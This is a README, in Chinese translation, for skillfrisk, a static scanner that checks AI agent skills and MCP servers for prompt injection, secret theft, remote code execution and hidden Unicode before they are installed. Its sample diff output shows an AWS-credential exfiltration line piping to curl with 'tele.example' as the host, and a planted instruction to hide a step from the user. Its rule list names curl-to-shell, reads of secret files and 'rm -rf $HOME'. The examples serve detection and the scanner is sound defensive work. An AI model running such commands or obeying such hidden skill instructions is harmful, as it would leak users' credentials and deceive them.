Topicspot/skillfrisk

# skillfrisk **English** · [Русский](docs/README.ru.md) · [简体中文](docs/README.zh-CN.md) · [Español](docs/README.es.md) · [Português](docs/README.pt-BR.md) [](https://pypi.org/project/skillfrisk/) [](https://pypi.org/project/skillfrisk/) [](https://github.com/Topicspot/skillfrisk/actions/workflows/ci.yml) [](https://github.com/Topicspot/skillfrisk/blob/main/LICENSE) `skillfrisk` 是一款针对 AI agent 技能和 MCP 服务器的静态安全扫描器。  ## 问题 AI agent 正越来越多地安装第三方技能、MCP 服务器、hook 和脚本，这些程序能够读取文件、调用网络并影响工具的使用。恶意或疏忽大意的技能可能会在开发者察觉之前隐藏 prompt injection、窃取机密或运行破坏性的 shell 命令。 ## 为什么这很重要 通用的 SAST 工具很有用，但它们无法理解特定于 agent 的风险：Markdown 中的隐藏指令、`SKILL.md` frontmatter、MCP 工具权限，或者文档中嵌入的 prompt injection 语言。`skillfrisk` 正是针对这一细分领域的预安装和 CI 门控。 ## 架构 ``` CLI (Typer) -> filesystem parser for SKILL.md / YAML / JSON / scripts -> rule engine: prompt injection, secret access, RCE, Unicode hiding, MCP permissions -> reporters: terminal table, JSON, HTML -> exit code for CI policy ``` ## 演示 ``` uv run skillfrisk scan tests/fixtures/malicious_skill --json ``` 检出结果示例： ``` { "rule_id": "REMOTE_CODE_EXEC", "severity": "critical", "recommendation": "Pin and inspect downloads; never pipe network output directly into shells." } ``` ## 快速开始 ``` pipx install skillfrisk # or: uv tool install skillfrisk / pip install skillfrisk skillfrisk scan path/to/skill-or-mcp --html reports/skillfrisk.html skillfrisk scan path/to/SKILL.md # a single file works too ``` 无需安装直接运行： ``` uvx skillfrisk scan path/to/skill-or-mcp ``` 本地开发： ``` git clone https://github.com/Topicspot/skillfrisk.git cd skillfrisk && uv sync --extra dev uv run skillfrisk scan tests/fixtures/malicious_skill --json ``` 作为 agent 技能安装（教会你的 agent 在安装之前审查技能/MCP 服务器）： ``` npx skills add Topicspot/skillfrisk ``` 作为 GitHub Action 在 CI 中使用： ``` - uses: Topicspot/skillfrisk@main with: path: "." ``` 要将检出结果上传到 GitHub code scanning，请让该 action 写入 SARIF 并上传： ``` permissions: security-events: write steps: - uses: actions/checkout@v4 - uses: Topicspot/skillfrisk@main with: path: "." sarif: reports/skillfrisk.sarif args: --no-fail-on-high - uses: github/codeql-action/upload-sarif@v3 with: sarif_file: reports/skillfrisk.sarif ``` 或者使用 Docker： ``` docker build -t skillfrisk . docker run --rm -v "$PWD:/scan" skillfrisk scan /scan --json ``` 当存在高严重性或严重（critical）的检出结果时，命令将以退出码 `2` 退出。 ## 示例 扫描一个安全的技能： ``` uv run skillfrisk scan tests/fixtures/benign_skill ``` 扫描一个 MCP manifest： ``` uv run skillfrisk scan tests/fixtures/mcp_server --json ``` 生成 HTML 和 SARIF 报告： ``` uv run skillfrisk scan . --html reports/report.html --sarif reports/skillfrisk.sarif --no-fail-on-high ``` ## 更新门控：`skillfrisk diff` 技能管理器通过比较文件夹哈希并重新安装来更新技能。它们都没有向特权 agent 显示其将要遵循的指令内部发生了什么变化。技能更新本质上是将未经审查的第三方文本合并到你的 agent 上下文中。 `skillfrisk diff` 会比较技能的两个本地版本，并在离线状态下于几毫秒内报告更新所作的更改： ``` git clone --depth 1 https://github.com/owner/skill /tmp/skill-new skillfrisk diff ~/.agents/skills/foo /tmp/skill-new ``` ``` skillfrisk diff foo -> skill-new files: 2 changed, 1 added, 0 removed NEW FINDINGS (2) high PROMPT_INJECTION SKILL.md:41 "...do not tell the user about this step..." high SECRET_ACCESS scripts/sync.sh:12 cat ~/.aws/credentials | curl ... allowed-tools: +Bash network hosts: +tele.example resolved: 0, carried over from the old version: 1 VERDICT: RISK INCREASED. ``` - 新的检出结果会进行语义匹配（规则、文件、规范化的代码片段），因此文本的位移或重新排版不会产生误报。 - 能力增量（delta）涵盖了 `allowed-tools` frontmatter、shell 命令和网络主机。 - `--fail-on high`（默认）在出现新的高严重性或严重检出结果时以 `2` 退出；`--fail-on any-change` 在能力范围扩大时也会判定失败；`--no-fail` 始终以 `0` 退出。 - `--json` 和 `--html reports/diff.html` 用于自动化；`--show-resolved` 会打印出该更新已移除的检出结果。 根据设计，`diff` 无法捕获的内容包括：旧版本中已存在的检出结果（请使用 `scan`）、使用无害语言编写的语义重定向、二进制文件中的恶意内容、运行时获取的代码，以及向不同用户提供不同内容的上游源（使用 lockfile 工具锁定提交；`diff` 是对其的补充）。 ## 规则覆盖范围 当前规则可检测： - Markdown 和配置文件中的 prompt injection 指令； - 管道传输到 shell 中的 `curl`/`wget`； - 对 `.env`、`~/.ssh`、`os.environ` 及类似密钥存储位置的读取； - 破坏性的 shell 命令，例如 `rm -rf $HOME`； - 可疑的密钥泄露模式； - 隐藏的双向/不可见 Unicode 控制字符； - Python 的 `eval`/`exec` 以及 `subprocess(..., shell=True)`； - MCP 的通配符权限以及危险的写入/删除/类执行（exec）工具。 ## 误报控制 `tests/corpus/` 包含了来自 [anthropics/skills](https://github.com/anthropics/skills) 的 10 个完整技能（92 个文件，包括内置的 Python/JS 脚本）；如果 skillfrisk 在其中任何一个技能上报告了单个高严重性检出结果，测试套件就会失败。当前状态：整个语料库中 0 个检出结果，在笔记本电脑级别的机器上每个技能大约需要 45 毫秒。要在相同的语料库上重现 与其他扫描器的比较，请运行 `uv run python benchmarks/run.py`；锁定的工具 版本和最新结果位于 [benchmarks/](benchmarks/results-2026-07-28.md) 中。 ## 替代方案 / 为什么还要造一个轮子 有多款扫描器针对相同的问题。请选择适合您工作流的工具： - [NVIDIA/SkillSpector](https://github.com/NVIDIA/SkillSpector) - LangGraph pipeline，静态检查加上可选的 LLM 语义分析，输出 SARIF。 - [snyk/agent-scan](https://github.com/snyk/agent-scan) - 发现已安装在您机器上的 agent、技能和 MCP 服务器，并通过 Snyk 的验证服务对它们进行检查。 - [cisco-ai-defense/skill-scanner](https://github.com/cisco-ai-defense/skill-scanner) - YAML/YARA 模式引擎，带有可选的 LLM、VirusTotal 和 API 集成；支持 CLI、库和 REST API。 - [NMitchem/SkillScan](https://github.com/NMitchem/SkillScan) - 静态分析加上 LLM 行为预测和 Docker 沙箱执行（拥有 PyPI 上的 `skillscan` 名称）。 这个项目刻意保持精简：没有 LLM 调用，没有网络访问，没有 Docker 依赖， 没有 API 密钥。只有一个轻依赖的 Python 包，能在几毫秒内运行完毕，因此适合放入 pre-commit hook 中；并且包含一个公开的真实技能回归语料库，通过构建本身将高严重性 误报保持在零。 ## 局限性 - 静态分析可能会漏掉仅限运行时才出现的行为。 - 正则表达式规则以精度换取速度和可解释性；某些检出结果可能需要人工审查。 - 尚未实现 JavaScript/TypeScript AST 检查。 - 已提供 SARIF 输出；JavaScript/TypeScript AST 检查和可配置的 allowlist 仍在计划中。 ## 路线图 - 专用的 JavaScript/TypeScript AST 规则。 - 带有 allowlist 路径的规则配置文件。 - 签名的规则包和可重现的发布工作流。

标签：AI安全, Blue Team, Chat Copilot, DLL 劫持, DNS 反向解析, Python, SAST, StruQ, 大语言模型, 无后门, 盲注攻击, 请求拦截, 逆向工具, 静态代码扫描